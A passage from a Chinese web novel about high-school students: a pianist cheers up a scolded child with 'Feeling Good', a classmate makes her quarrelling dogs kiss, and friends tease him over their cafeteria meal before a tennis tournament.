赵芝立马板起招牌黑脸，不悦斥道：“得了啊，弹得乱七八糟好意思叫表演吗！这叫抽查，看看你有没有全忘光，你可千万别在小师妹面前丢我的脸！” 柯译衍慢悠悠嗯了声，低头打开手机。 赵芝看他突然鼓捣起手机，半天也没个动作，忍不住皱眉质问：“你这是在干嘛呢？” “找谱。”他老实回答。 “谱都给忘了？？？” 赵芝瞬间柳眉倒竖，嗓音拔高好几度，显然无法接受曾经的得意门生居然退步至此。 柯译衍淡定揉了揉耳朵，老实嗯了声。 持续呆滞状态的小女孩突然被女人的尖锐嗓门惊醒，眼睫抖了抖，迷茫看向柯译衍。 “”赵芝严肃盯着柯译衍，恨铁不成钢，满腹批评话欲言又止，忍了好一会儿才克制住脾气，嫌弃道，“手机屏幕这么小，能看清楚什么！” 女人转身走向前台拿琴谱，同时，不忘对旁观的家长吐槽柯译衍。 “祝妈妈你看看，这人就是这么不着调！我以前给他上课的时候，经常被他气死！” 然后拿柯译衍当反面教材，郑重警告小女孩：“婷婷你看看，哥哥学习不努力，东一榔头西一棒槌，长这么大了，居然连谱子都记不住，你可千万别学他啊！” 柯译衍勾唇笑起来，一副早已被赵芝骂出免疫力的松弛姿态。 莫扎特的曲子不好弹，看似音不多，实则对演奏技巧、情感把握的要求格外高。 柯译衍后来转去学爵士，很久没练习古典了，这会儿突然被抽查，自然弹得不算顺畅。 一段表演结束后，赵芝心里还算满意，但嘴上依然不饶人，毒舌批评道：“一会儿炸音，一会儿音飘出外太空，谱子上要表达的情感去哪里了？手指钝成铁了是吧！” “我每次看你手指弹下去的力度就很提心吊胆，就怕琴键被你戳出个大洞来！干什么，这钢琴和你有仇是吧，净想搞破坏，那绿巨人来了都比你弹得轻盈细腻！” 柯译衍静默不语，一幅乖乖配合挨训的好学生态度。 赵芝可不上他的当。 别看少年默不作声，看似配合挨训，指不定心里在憋什么坏招。 就像小时候在她手下学琴，明明学得好好的，一路拿奖拿到手软，被众人夸赞大有前途，结果某天不知道抽什么风，突然和她说，不想学古典了，他想学爵士乐。 那一刻，毫不夸张地说，赵芝觉得天都塌了！ 赵芝和柯译衍闲聊了几句近况，接着回归要紧正事，陪祝妈妈上楼说话。 两人一走，小女孩婷婷立马站起来，小跑到柯译衍身边坐下。 “哥哥你别难过，我觉得你弹得特别好！” 柯译衍愣了下，随即放下手机，弯唇看向她，“是吗？” 婷婷用力点头，认真说：“嗯，你别听赵老师乱说，绿巨人才不会弹钢琴，我看过电影，绿巨人可高可壮了，绝对能把琴键戳出大洞，他力气肯定比你大！” 柯译衍被她童真的安慰逗笑了，双手懒洋洋环至胸前，问道：“是不是挨老师骂了？” 婷婷垂下头，低低嗯了声。 她没精打采地说：“我这周作业太多了，没什么时间练琴，上课的时候就老是谈错音，赵老师一节课都在骂我。” “哥哥，我觉得赵老师特别特别凶，我一点也不喜欢学钢琴，太难了，我学不明白。” “哦，那你喜欢做什么？”柯译衍十分耐心地问。 婷婷眼睛一亮，悄悄说：“我特别想学跆拳道，那个特别酷！可是妈妈不让，说跆拳道会伤了手，妈妈喜欢钢琴，我每次一说想学跆拳道，妈妈就会骂我。” 在转去学爵士乐之前，柯译衍的钢琴老师一直是赵芝，所以很清楚她的教学风格。 赵芝很严厉，平常很少听见她夸人，她要求高，脾气大，不容学生犯一点错，骂人也不留情面，还会时不时参杂几句阴阳怪气。 柯译衍小时候总是端着张冰山脸，不爱搭理人，那嘴巴就跟焊上一样，特别惜字如金，所以他这臭脾气没少惹赵芝生气。 一开始，赵芝还不太敢骂他。 柯译衍的外公是江洲音乐学院最早一批作曲系教授，曾经教过赵芝，因为这层关系，她对柯译衍的态度还算和善，弹的不好时，顶多阴阳怪气两句。 但没过多久，赵芝便给柯译衍外公打了通电话，特意询问尊师能不能骂人，说自己是真忍不住，外公很开明，不插手，让赵芝该怎么教就怎么教。 从那以后，柯译衍好日子到头，隔三岔五就要挨骂，而且赵芝骂他比骂别人更狠。 所以，他完全能理解小女孩的难过，毕竟他自己就是挨骂过来的。 沉思片刻，柯译衍忽然问小女孩：“想不想再听一首？” 婷婷点头又摇头，苦瓜脸说：“哥哥，我不想听莫扎特、巴赫、肖邦、贝多芬我想听点不一样的。” 他勾唇笑笑：“不弹那些，现在转身看窗外。” “看什么呀？”婷婷茫然不解地问。 柯译衍很随意地说：“看天空，看树木，看广场上的鸽子。” 隔着一扇落地玻璃窗，音乐机构对面建了个下沉式的休闲广场。 此时游客三三两两，随意坐在阶梯上草坪上，晒太阳、闲聊、喂鸽子。 “我知道了哥哥，就是欣赏风景嘛。” 说着，婷婷配合转身，望向窗外成群结队的白鸽子。 柯译衍嗯了声，弯唇提醒：“心情放松啊。” * 姜织宁吃过午饭，背上斜挎小包，牵着一大一小两条狗出门。 她先去了趟家附近的文化中心，直奔那边的宠物友好咖啡店，走进店里，给小狗们拿了两杯专供宠物食用的奶油杯。 咖啡店里没有空位了，姜织宁拿着奶油杯坐到户外休息区。 正给小狗喂食的时候，耳边突然传来一阵熟悉的钢琴声，她凝神辨认，很快听出演奏者弹的是经典爵士乐《Feeling Good》。 曾经有段时间，这首曲子在她耳机里的播放率很频繁。 姜织宁不由弯起唇角，内心随之产生几分和演奏者共鸣的惊喜感。 钢琴声来自隔壁的音乐机构，等两只小狗舔干净奶油杯，她起身走过去，倾斜上半身，歪头往音乐机构里张望。 身穿黑色圆领卫衣，灰色宽松运动裤，联名限量版运动鞋，演奏姿态尤为松弛。 是一个黑发男生在弹钢琴，至于那张脸，好像有点像 姜织宁定睛一看，吃惊愣住。 柯译衍？？？ 他怎么会在这里啊，不是约好了在植物园门口见面吗。 琴声还在继续，姜织宁悄悄收回目光，没打扰他，重新坐回位子上。 柯译衍在原版曲子的基础上自由调整速度，同时随性加了点即兴小改编，演奏出来的情绪更加符合当下环境。 忽然间，下沉广场上的白鸽群集体展翅飞了起来，在空中优美盘旋。 震撼人心的一幕，游客们默契拿出手机拍摄，嘴中发出此起彼伏的惊叹声。 明媚的午后，碧空骄阳，鸽群振翅高飞，耳畔微风轻拂，鼻尖桂香萦绕，身心被音乐治愈，变得无比轻盈。 这一刻的美妙感觉，就像是《Feeling Good》中所传达的—— Its a new dawn。 这将是个崭新的黎明。 Its a new day。 这将是崭新的一天。 Its a new life for me。 我的生活焕然一新。 And Im feeling good 我感觉好极了。 姜织宁的脸上情不自禁扬起微笑，跟随琴声感受着美好当下。 最后一个音符缓缓落下，演奏完毕，婷婷拼命捧场鼓掌，她紧拽柯译衍衣袖，连声追问：“哥哥，好好听啊！这首曲子叫什么名，听完后我更想学跆拳道了！我不想学钢琴了，我一定要学跆拳道！！！” 柯译衍：“” 内心产生一瞬无语，本意是让她放松心情，怎么就想到学跆拳道去了 婷婷兴奋跳下钢琴凳，作势要往楼上跑，嘴里肆无忌惮地大喊：“妈妈！我想学跆——” 柯译衍哭笑不得，连忙拉住女孩手臂，不让她跑走。 “你可别害我啊，赵老师骂人很凶。”他表情无奈地说。 “咚咚——” 玻璃窗忽然传来敲打声。 柯译衍回头望去，就见姜织宁站在外面，笑着对他挥了挥手。 “哇！有两只好可爱的狗狗耶！” 婷婷睁大眼睛，注意力被转移，拉着柯译衍袖口，一起出门走到姜织宁面前。 她仰头看向姜织宁，礼貌乖巧地问：“姐姐，我可以摸摸你的小狗吗？” 姜织宁俯身，眉眼弯弯对她说：“当然可以呀。” 婷婷开心蹲下，小狗听到姜织宁指令，也很配合，温顺躺到地上，露出柔软的肚皮，任由女孩轻轻抚摸。 姜织宁看向柯译衍，说：“刚才看到你在弹琴，差点以为认错人，你怎么来这里了？” 柯译衍解释：“顺路，过来探望下以前的钢琴老师。” 她哦了声，好奇问：“这是你妹妹吗？” “不是，店里凑巧遇见。”他下巴朝着音乐机构指了下，“她在这里学钢琴，被老师骂了一节课。” 姜织宁顿时对小女孩露出同情的眼神。 她早年学古典舞，也总是挨批评，老师教学极其严厉，还因为她妈妈是舞蹈家的原因，导致老师对她的要求会比其他学生更严苛。 所以，她完全能感同身受女孩挨骂后的心理阴影，艺术生基本都是这么过来的，因为学习过程很苦很累，情绪崩溃简直是家常便饭。 不开玩笑的说，有时上课心情如同上坟。 姜织宁：“所以你就给她弹了首Feeling Good？” “是啊。”柯译衍无语叹了声，“她听完后和我说想学跆拳道，不想学钢琴了。” 姜织宁忍不住叉腰笑起来，瞬间联想到周静瑶。 她笑着说：“那她和周导一摸一样啊，周导小时候超级调皮，也很讨厌学艺术，之前她有次偷偷翘掉钢琴课，和我们跑到公园里玩，结果半路上被她妈妈抓住，我们几个都快吓死了。” “阿姨那天是真的气上头，回家后把周导按在钢琴凳上不准动，然后从厨房里拿了把菜刀，一边用菜刀猛敲钢琴，一边骂周导，直接把周导吓出心理阴影。” 柯译衍听着也觉得挺好笑，勾唇问：“后来就好好学琴了？” “怎么可能啊。”姜织宁满脸佩服地说，“周导心态特别特别好，她完全适配《Feeling Good》里的那句歌词——Its a new day，Its a new life for me。” “无论发生什么大事，只要睡一晚，第二天她就没有心理阴影了，继续我行我素老油条。主要是周导真的不喜欢学琴，阿姨也没办法，总不能老拿菜刀威胁女儿吧，后来周导就没学钢琴了。” 两人站着闲聊了一会儿后，家长和赵老师道别，推门出来接女孩回家。 临走前，婷婷眨眨眼，冲柯译衍招了招手。 柯译衍配合蹲下。 婷婷双手放到嘴边呈小喇叭状，悄悄对柯译衍说：“哥哥，谢谢你弹琴给我听，哥哥你放心，虽然我很想学跆拳道，但是我不会出卖你的！” 姜织宁蹲在旁边逗狗玩儿，听到女孩这句话，笑看向柯译衍。 “是吗？”柯译衍看着女孩，懒散笑了笑，半信半疑反问。 “嗯！”婷婷用力点头，怕他不相信自己，积极主动抬起右手，“哥哥，我们high five！击掌为誓！” “” 说实话，柯译衍不太情愿做这么幼稚的事。 他下意识看向姜织宁。 姜织宁也不帮忙解围，看笑话还来不及呢，她强忍住笑意，故意调侃说：“看我干嘛，是小妹妹要和你high five，快点配合抬手啊，这么大的人，要做好榜样才是，可别不懂事啊。” 柯译衍：“” 她可真行，就知道看他笑话。 柯译衍无奈叹了口气，被迫抬起手，同女孩幼稚击掌。 “哥哥，你下次还会来嘛？” 婷婷眨眨眼，用期待的眼神看看柯译衍。 柯译衍：“不一定。” 女孩表情失落，立马不高兴扁起嘴，长长啊了一声。 柯译衍看她这幅态度，放缓语气，弯了弯唇：“有空会再来。” 女孩脸色瞬间雨过天晴，开心说：“那太好了，希望下次还能见到哥哥！” “婷婷，该回家了！” 家长打开车门，催了句。 “哥哥姐姐拜拜！” 婷婷笑着对两人挥挥手，朝妈妈跑去。 姜织宁收回目光，打趣说：“没看出来啊，你还挺会哄小孩。” 柯译衍淡淡斜睨她一眼：“这不是怕她告我状吗。” 话落，他不咸不淡地指责说：“不是说做朋友吗，怎么就知道看笑话？” 她抿唇笑起来：“哎呀，这不是觉得你能解决嘛。” 柯译衍冷淡扯了下唇角。 姜织宁转移话题问：“你以前学琴的时候，是不是经常受到老师表扬？” 柯译衍挑眉：“为什么会这么说？” “就一种感觉吧。” “其实没有。” “也会挨骂吗？” “当然，经常。” 柯译衍年幼时冷漠话少，无论赵芝说什么，他都习惯回个“嗯”，能不开口就不开口。 而这个“嗯”，并不代表他听话，相反，他还挺不着调，偶尔会做出些令人匪夷所思的事。 比如有时候，他压根不管作曲家怎么想，就喜欢用自己的理解弹奏谱子。 典型的—— 我不要你觉得，我要我觉得。 因此平常没少挨赵芝骂。 后来他想转去学爵士的那段时间，家人倒是随便他，但赵芝就觉得天塌了，天天骂他，试图将他骂清醒。 倒不是说古典鄙视爵士，而是赵芝教古典，好不容易带出柯译衍这么个好苗子，当然希望他在古典上继续深造下去。 哪知道，苗子突然要出走。 …… 姜织宁叹了口气，深表理解地说：“看来大家都一样，我小时候学舞蹈，也老是挨骂。” 这时，手机响起来，俞杨打来的电话。 柯译衍左手撑住膝盖，听着手机站起来，嗯了几声后，挂掉电话，垂眼对姜织宁说：“走吧，俞杨已经到了。” 他抬眼看向咖啡店，淡问：“想喝什么，我去买。” “哦，等下。”姜织宁依然蹲着，把两条牵引绳递给他，“你先帮我牵一下。” 柯译衍配合接过绳子。 姜织宁将狗招到身前，命令坐下不动，然后左右手分别握住两只狗的嘴筒子，瞄准位置，啪一声，嘴唇相碰。 狗子们被迫亲吻着对方，就这么定格五秒后，姜织宁才松开手，命令道：“好了，亲也亲过了，赶紧和好啊。” 柯译衍注视着眼前诡异的画面，困惑问：“在干什么？” “这俩吵架了，互相不搭理。”姜织宁利索站起来，解释道。 柯译衍陷入沉默。 他清晰记得，之前游船的时候，姜织宁说过家里小动物经常闹不开心，每次都是她来哄。 没想到，居然是这么个哄法 强迫性亲吻。 这么直接的吗，柯译衍刷新认知，有点被她惊讶到了。 他不可思议看着她，慢吞吞问：“这就是你说的哄法？” 姜织宁笑笑，不以为意地说：“对啊，这是我从宠物店老板那里学来的新招。哎，没办法啊，现在我的彩虹屁夸夸已经对老油条狗不管用了，得强制爱才行。” 强制爱？ 柯译衍皱了下眉。 这三个字组合起来，是他从没听说过的新鲜词，但是不难理解，清楚什么意思。 他再一次沉默，心情略微有那么点复杂。 胆挺大啊她。 小小年纪，居然就有这种危险想法。 不过仔细想想，怎么讲呢，好像这种话从姜织宁嘴里说出来也没那么令他奇怪。 班里女生喜欢看娱乐杂志，私下会互相借阅。 所以课余时间，周静瑶经常拿着杂志跑到姜织宁位子上一起讨论。 姜织宁讲话直接，和周静瑶聊天的时候更直接，两位直言不讳的女生凑一起，就导致有时候，柯译衍会被迫听到类似以下聊天内容—— 周静瑶：“这次封面XXX男星拍得挺帅，构图挺牛，就是不知道这种光影效果是拍的，还是后期做出来的。” 姜织宁：“感觉腹肌有点假，他身材应该没这么好。” 周静瑶：“腹肌还能假啊？” 姜织宁：“能，这种都能画出来，我姑姑以前说过。” “靠，这不就是照骗吗！”周静瑶迅速翻到广告页，指着上半身全/裸的男模特说，“那胸肌呢？这种饱满大胸肌也是假的吗？” 姜织宁盯着男模特的大胸肌，认真研究一会儿后，严谨回答：“看不太出来，但是胸肌腹肌这种都能画，我姑姑说的。” “化妆师这么牛啊！”周静瑶神情佩服。 下一秒，姜织宁手指向男模特的屁股，毫不客气地说：“嗯，还能垫假屁股。” “还能这样啊，牛牛牛！” 两女生旁若无人地输出大胆对话，丝毫不脸红，过来请教柯译衍数学题的男生震惊得瞪大眼，话都说不利索了。 以至于男生不小心犯起嘴瓢，当场把“这个题”说成了—— 这个大胸肌 疯狂道歉的同时，男生迷茫看向面不改色的柯译衍，然后下意识低头，荒谬瞄了眼自己的胸。 好家伙，他们在这边认真讨论数学题，隔壁俩女生，居然大胆点评起男模…… 这也太不正经了吧！ 但怎么说呢，你也不能说人家思想有问题，毕竟人家那是在讨论艺术 在姜织宁的强制爱操作下，小狗很快互相亲昵起来。 见状，柯译衍犹豫问了句：“不用征求下当事人当事狗的意见么？” “不需要。”姜织宁潇洒摆手，淡定表示，“征求了还怎么强制爱，重点就是强制嘛。” 说完，她不忘真诚推荐，说：“别看简单粗暴啊，但是有奇用，五星推荐，你看它们，这不就和好了吗，哎，多省事。” 柯译衍：“” 他佩服看着姜织宁，心里忍不住感叹，可以，她是厉害的。 第48章 该不会是他女朋友吧？ 由江洲中学承办的全国中学生网球联赛, 将于10月7日正式开始。 除了最后一轮决赛，决赛之前的比赛全都放在江中校内举行，比赛前两天, 校内网球场全部开放给参赛球员赛前训练。 10月6日清晨，姜织宁吃完早饭, 从书包里拿出志愿者证件挂到脖子上。 “现在就要去学校？” 柯译衍瞄了眼手机，时间还早。 她微微偏头, 将发尾从挂带里撩出来，嗯了声：“要过去开会, 你呢, 今天要去学校训练吗？周导刚才和我说, 已经有参赛选手在网球场训练了。” 柯译衍点头道：“晚点过去。” “哦。”姜织宁拿上酸奶，起身道别, “拜拜，我先去学校了。” 尽管这次的校网球联赛只是一场各大高中之间的友谊赛, 并不算专业赛事，但江洲中学作风一向财大气粗, 在宣传方面下足了功夫。 姜织宁一走进学校正门，就瞧见雕像旁边立着巨幅网球联赛广告牌, 纯手绘漫画风, 视觉效果很燃很热血。 通往网球场的林荫道路两旁, 悬挂着好几个学生用喷漆绘制的涂鸦宣传横幅, 艺术感十足，又酷又青春。 志愿者统一身穿正装校服, 被老师召集在大报告厅里开会, 半个小时后，会议结束, 众人回归各自工作岗位。 除了负责联赛宣传工作，姜织宁和大部分志愿者一样，今天主要负责外校参赛球员的接待引导工作。 她和隔壁班女生一组，工作位置被安排在网球场附近，一个电子公告屏旁边的红色帐篷里。 周静瑶负责拍摄，人要到处跑，姜织宁便让她把随身物品暂存在自己这边。 两人有说有笑从报告厅里出来，快要走到帐篷时，忽然看到俞杨从不远处跑过来。 周静瑶奇怪哎了声，大声喊道：“俞杨，你要参加比赛啊？” “我不比，手还没好呢。”俞杨摆摆手，站定在电子公告屏前。 周静瑶纳闷问：“那你放假不好好呆在家里玩，跑来学校干嘛？找虐吗？” “当然是过来看衍神呗！他等会儿要过来训练。”俞杨一边研究着公告屏里的比赛签表，一边说，“我先过来看看签表怎么排的，听说参赛名单前后变化很大。” 姜织宁拉开椅子坐下，附和说：“对，不知道为什么，报名截止那天新增了不少人。” 学校老师最后统计报名信息的时候，姜织宁就在办公室里帮忙。 当时，她听到老师奇怪嘀咕了几句，说这群人怎么跟约好似的，集体卡在最后一晚报名，而且还来自全国各地不同高中。 俞杨先去找柯译衍名字，结果率先瞄见名单里的某位球员名叫周跃丞，他目光停顿了下，心说好巧，居然和他一位打网球的大佬朋友同名同姓。 视线正准备挪走，脑子里突然蹦出一丝不对劲，促使他特意去确认了眼周跃丞旁边的学校名。 周跃丞——雾京附中。 啊？啊？？ 卧槽，他那大佬朋友也在雾京附中读书啊！ 所以说，这是同一个人咯？？？ “我靠？！我靠？！我靠？！” 俞杨一脸懵逼，忍不住震惊怪叫起来：“丞哥怎么来了啊？他这会儿不是应该在美国训练吗？？？” 很显然，这才是开始。 占子杰、艾彤、郑然、舒洁、施瀚 陆陆续续的，俞杨在签表中发现了好几个眼熟的名字，全都是专业打网球，今后以职业网球运动员为目标的优秀青少年球员。 在这其中，有几个人的青少年世界排名非常靠前，尤其是周跃丞，目前世界排名前三，风头正盛。 这帮人，在赛场上是竞争对手，在赛场下是关系不错的朋友。 俞杨面对签表，惊呆了，看得眼珠子都快要瞪出来。 好家伙，国内实力天花板级别的青少年球员全过来了啊！ 晕！ 他们不去打专业赛事拿奖金拿积分，特意偷偷摸摸跑来校友谊赛干嘛啊？ 专门来踢馆炸场吗？！ 这么一搞，这次联赛不就变成熟人局了？！ 哇，好一个群星荟萃，巅峰对决！ 俞杨不由啧啧感叹，心说这帮人可真牛逼。 震惊归震惊，俞杨不忘正事，很快找到了柯译衍的名字。 他看清柯译衍首轮对阵选手是谁后，先是愣了一愣，然后严肃沉默五秒，最后实在没忍住，噗嗤一声，猛拍大腿，爆发出惊天大笑。 “啊哈哈哈哈哈哈！” “周周狗好惨！他这回完蛋了！” “时隔多年，居然还是逃脱不了被衍神吊打的命运！” “哎哟喂，噩梦重演！噩梦重演！” “怎一个惨字了得啊，笑死我了！” “他这狗屎签运，简直差到离谱，哈哈哈哈哈哈！” 周静瑶正在喝水，冷不丁被俞杨浮夸笑声搞得吓一跳，没来得及咽下去的水硬生生呛在喉咙里。 “咳咳咳咳” 她脸色涨红，被迫低头吐出来，一边快速拍打胸口顺气，一边臭脸骂道：“咳咳突然笑什么笑，吓死我了！神经病啊你！” “对对不起”俞杨弓着背，笑到肚子痛，话都说不完整，“唉，周狗哈哈哈” 周什么狗？ 到底什么东西这么好笑啊？ 周静瑶无语看向姜织宁：“他在胡言乱语什么呢，到底谁被柯译衍吊打？” “周胜扬。”姜织宁抿唇笑道。 “哈？”周静瑶有丝意外，“他们认识吗？” 姜织宁：“俞杨说，周胜扬以前和他们一起训练过。” 周静瑶一直看周胜扬不顺眼，闻言，立马翻白眼嘲道：“呵呵，看来周狗要变成落水狗了，好期待。” 今天只是参赛球员的赛前训练日，因此志愿者的工作不算忙碌，傍晚时分，周静瑶结束摄影工作，飞速跑来找姜织宁吃晚饭。 “饿死了！饿死了！每天都感觉自己像是饿死鬼投胎！”周静瑶像玩似的甩着志愿者餐券，询问姜织宁，“想去老食堂还是新食堂？” “老食堂。” “一楼还是二楼？” “一楼吧。” 假期里的校园十分幽静，高一高二生都不在，只有高三学生在补课，现在还没到放学时间，食堂里空荡荡，根本不用排队。 周静瑶点了份豪华版卤肉饭，然后扯着嗓子问：“宁王，要不要吃水果捞？” “来一份，不要加红豆。”姜织宁回。 每个窗口扫视一遍，姜织宁最终停留在麻辣牛肉米线的窗口，等餐的时候，她余光瞥见食堂阿姨从里间端出一盘盘刚出锅的热菜。 她凑过去瞄了眼，顺势问：“阿姨，今天有葱花肉吗？” 阿姨：“有。” 意外惊喜！ 姜织宁眼眸立马绽放出光芒。 阿姨：“要等一下。” 姜织宁：“好，我待会儿过来。” 隔壁阿姨将米线端出窗口，扬声提醒：“姑娘，麻辣牛肉米线好了！” 姜织宁把米线放到托盘里，端起来转身，就看见柯译衍一行人经过她身后。 她正眼望向他们，有男有女，个个陌生脸，应该都是来参加网球联赛的外校球员。 米线汤汁满满当当，几乎快要溢出来，姜织宁小心翼翼端着托盘，打算等这群人走过去再挪动。 俞杨背对着姜织宁，没看到她，和旁边男生一边走，一边嘻嘻哈哈推搡打闹。 忽然间，俞杨被对方笑着推了下肩膀，他立马戏精上身，整个人姿势浮夸地往后退去。 姜织宁和俞杨距离挨得近，怕他撞到她，下意识朝旁边小碎步挪动，顺势小心将托盘放下。 与此同时，慢悠悠走在队伍末尾的柯译衍注意到危险状况，他皱眉瞥了眼姜织宁，随即快步走上前，利落转身，挡在她前面，并施力按压住俞杨肩膀，不让他乱动。 柯译衍冷脸斥道：“能不能好好走路？” 啊？ 俞杨定在原地，止住笑意，眼神无辜看向柯译衍。 下一秒，余光发现站在柯译衍身后的姜织宁，他愣了愣，后知后觉意识到自己差点撞到她。 俞杨立马端正站好，自觉收起嬉皮笑脸，小心翼翼询问：“宁王，没撞到你吧？” “差一点。”姜织宁实话说。 “啊，抱歉！抱歉！”他连声道歉，然后狗腿谄媚道，“刚才没看到你，米线挺沉吧？我帮你端过去？” 其实挺重，尤其这种带汤水的东西，因为周静瑶也要吃，所以她点的是双人份，不过重归重，也没到拿不动的程度。 姜织宁摇摇头：“不用，我自己拿就行。” 柯译衍转过身，垂眼看向那份麻辣牛肉米线，下意识皱眉。 红油汤汁里布满大小辣椒，麻辣香味浓郁到呛鼻，这么辣，她能吃？ 一起吃饭的这段时间里，柯译衍差不多摸清了姜织宁的口味。 她胃口很好，一天多餐，口味偏淡，吃不了太辣，一旦超过微辣就得喝水喝牛奶，因此家里阿姨迁就她的口味，几乎不做辣菜。 还喜欢吃肉，特别是海鲜，讨厌没有咀嚼感的素菜，无法接受香菜和生姜，喜欢吃甜食，但不喜欢味道太甜，最喜欢和巧克力有关的一切，可以说长了颗巧克力脑袋。 柯译衍看着刺眼的辣椒，皱眉问她：“不辣么？” 姜织宁老实点头：“辣，但是想试试看，阿姨说很好吃，销量火爆。” “你确定？”他忍不住提醒，“别等会儿辣到胃疼。” 她啊了声，怀疑说：“应该没这么夸张吧，咱们食堂应该不会用工业辣椒精。” 柯译衍沉默，心说这和工业辣椒精没关系，要么就别吃了，最好换成淡口菜，万一真闹起胃疼，难受的还是你自己。 而且，她要是胃疼起来，多半他也会跟着麻烦遭殃，因为他得管她。 劝说的话还没说出口，就被周静瑶打断。 周静瑶找到座位，冲姜织宁高喊：“宁王，这里！” 姜织宁端起托盘：“我先过去了啊。” “嗯”柯译衍犹豫了下，侧身让位说，“你少吃点，尝两口得了。” 姜织宁坐下后，周静瑶推给她一个小碗，碗里装着拌好的卤肉饭。 没过多久，柯译衍他们端着餐盘走过来。 “宁王，能拼桌吗？”俞杨笑嘻嘻挥手说。 其实是周跃丞那几个人的鬼主意。 刚才柯译衍和姜织宁说话的时候，这帮人就在暗中观察，一边观察，一边追着俞杨问—— “我去，那是姜织宁？？？” “真的假的啊，真是姜织宁？” “姜织宁？哪呢哪呢！！！” “是不是小时候演过《记忆》的那个童星？” “我靠我靠！竟然碰见明星了，能不能合影啊？” “柯译衍居然认识姜织宁？怎么从来没听他说起过，靠，藏够深的！” “我们能和女神坐一桌吗？” “是啊俞杨，你待会儿问问能不能坐一起！靠你了！” 于是，俞杨被派过来问话。 米线真挺辣的，姜织宁被辣椒刺激到，使劲吸了吸鼻尖，带着鼻音说：“能啊，随便坐。” 她们坐的是长条桌，一桌能坐挺多人。 柯译衍在姜织宁旁边位子放下托盘，人坐下，把盘子里的牛奶和葱花肉放到她手边。 姜织宁愣了愣，双眼放光看向柯译衍，惊喜说：“有葱花肉了？” 柯译衍：“嗯，刚摆出来。” “我去拿两份。”周静瑶飞速起身。 柯译衍扫了眼少女额角上细密的汗珠，略显湿润的眼眸，忍不住操心提醒：“眼泪都要辣出来了，你少吃点啊。” “还行还行，阿姨没骗人，蛮好吃的。”姜织宁拿纸巾擦了擦鼻尖，拧开牛奶，逞强说。 柯译衍原本没打算管太多，提醒几句得了，他又不是她男朋友，没道理干涉她太多。 结果她非要倔强逞强，他情不自禁皱眉放下筷子，打算好好和她讲一讲道理。 他知道姜织宁偶尔嘴馋的小毛病，其实也能理解，毕竟正处于长身体的年龄。 高中生在教室里从早坐到晚，学习压力大，用脑过度，确实很容易饿，别说女生了，男生更是一到下课就往校内超市冲刺，天天上演饿狼扑食，蝗虫过境。 但姜织宁的情况又比较特殊。 她现在每天喝中药，按照医生叮嘱，喝药期间需饮食清淡，忌辛辣油腻生冷，大部分时间姜织宁会自觉听话遵守，但偶尔也会忍不住，偷吃冰淇淋之类。 她在学校里光明正大地吃，家里背着姑姑偷偷吃，类似情况被柯译衍抓到过好几次，只要不太过分，他通常睁一只眼闭一只眼，随她去了。 而眼前这碗满是红油，辣椒多到刺眼的麻辣米线，再加上姜织宁过分自信、不听劝的态度，显然是在挑战他良心的底线，让他无法装瞎。 服了，她是真的不老实。 柯译衍面无表情看着姜织宁，冷飕飕说：“还行什么还行，就非要等到胃疼才老实？” “我又没疼过。”姜织宁下意识反驳。 没疼过？ 真不老实啊，他平静翻起旧帐：“上上个星期，你不就在吃饭的时候捂肚子？” 姜织宁愣了下，没想到他记性这么好，回道：“你都说了捂肚子，说明那是肚子疼，不是胃疼啊。” 柯译衍冷淡质问：“有什么区别？不都是疼？” 姜织宁：“胃疼是胃疼，肚子疼是肚子疼，当然不一样。” 柯译衍：“上次就是因为你吃了辣椒。” 姜织宁：“谁说的？” 柯译衍：“我。” “”姜织宁无奈叹了口气，“肚子疼不是因为辣椒。” 柯译衍懒得和她诡辩，利落拿出手机，对着米线拍了张照，还特意挑了个辣椒最多的角度。 “你拍照干嘛？”她惊呆了。 他收起手机，不冷不热地说：“给姜阿姨看啊。” 姜织宁：“” 他怎么能告状啊？ 这朋友做不成了！ 柯译衍察觉到姜织宁强烈的谴责视线，云淡风轻斜她一眼，慢悠悠表示：“不用管我，你吃你的，多吃点，没人管你。” 姜织宁：“” 吃什么吃！ 他都说出那种话了，她还敢继续动嘴吗？ 这人是厉害的，知道她最听姑姑的话，就以姑姑的名义拿捏她。 姜织宁憋了憋，转而严肃脸警告：“你别忘了啊，你在我姑姑面前没有姓名，她不待见你！” “嗯，没事。”柯译衍微微一笑，语气轻飘飘，“等姜阿姨看过照片，我应该就有姓名了。” 姜织宁：“” 周跃丞就坐柯译衍右手边，心不在焉吃着饭，全程竖起耳朵偷听两人对峙。 他越听越糊涂，稀里糊涂中，产生了几分“你小子是不是背着大家谈恋爱”的怀疑。 旁边几个人也和周跃丞一样，糊涂中夹杂着明晃晃的怀疑。 众人面面相觑，心说这什么情况啊？ 柯译衍怎么还管人家吃饭呢，这完全不像他的作风啊，他从前可不是这样的。 而且不仅管这管那，还服务精神拉满，就离谱。 所以说，姜织宁是他什么人，该不会是他女朋友吧？！ 第49章 她怎么这么可爱啊 靠！ 柯译衍好福气啊, 这可是女神姜织宁哎！！！ 这群人跟演哑剧似的，谁也不敢第一个发声，就这么来来回回用眼神交流了好几遍, 才默契指定周跃丞作为代表，代表大家表面关心, 实则八卦打听柯译衍的感情生活。 周跃丞挺不乐意，就不爱做枪打出头鸟的事, 但也没办法，毕竟和柯译衍很久没见面了, 搞得他也长了颗八卦心。 周跃丞不自然抬手摸了摸鼻尖, 轻咳一声, 开口问：“哎柯译衍，你左手边这位同学是？” “她是我们江中鼎鼎有名的校花——姜织宁同学, 人称宁王，我们都一个班的, 宁王和衍神是同桌。” 俞杨迫不及待，抢先一步炫耀介绍, 生怕柯译衍蹦出个“同学”这样寡淡不够重视的回答。 周跃丞愣了愣，不满斜睨俞杨一眼, 心说问你了吗。 坐俞杨左手边的男生叫占子杰, 意味深长接话说：“我说译衍啊, 你这么关心你同桌吃饭干嘛呢？你以前可不会多管闲事啊, 特冷淡一人。” “你有意见？”柯译衍平静瞥他一眼。 占子杰嬉皮笑脸：“唉，意见嘛是不敢有的, 只是咱们这么久没见面了, 兄弟我好心关心下你的私生活嘛。” “这有什么好奇怪的。”俞杨见怪不怪，帮忙说, “我们宁王和衍神是双A组好吧，又不是普通同学关系，而且两人家里互相认识啊。” “啊？家里互相认识？” 占子杰和周跃丞不可思议地对视一眼。 他们从来没听柯译衍提起过这事，靠，这也藏的太深了吧！ 俞杨解释：“衍神的舅舅和宁王的姑姑是多年老同学。” 众人恍然大悟，心中那点“柯译衍和姜织宁是不是在谈恋爱”的猜测随之消失。 占子杰笑眯眯看向正安静吃卤肉饭的姜织宁，主动打了声招呼：“宁王同学你好啊！” 姜织宁放下勺子，抬眸看向他。 男生抬起手，指着一同来参赛的同伴们，自来熟介绍道：“我们几个是——” 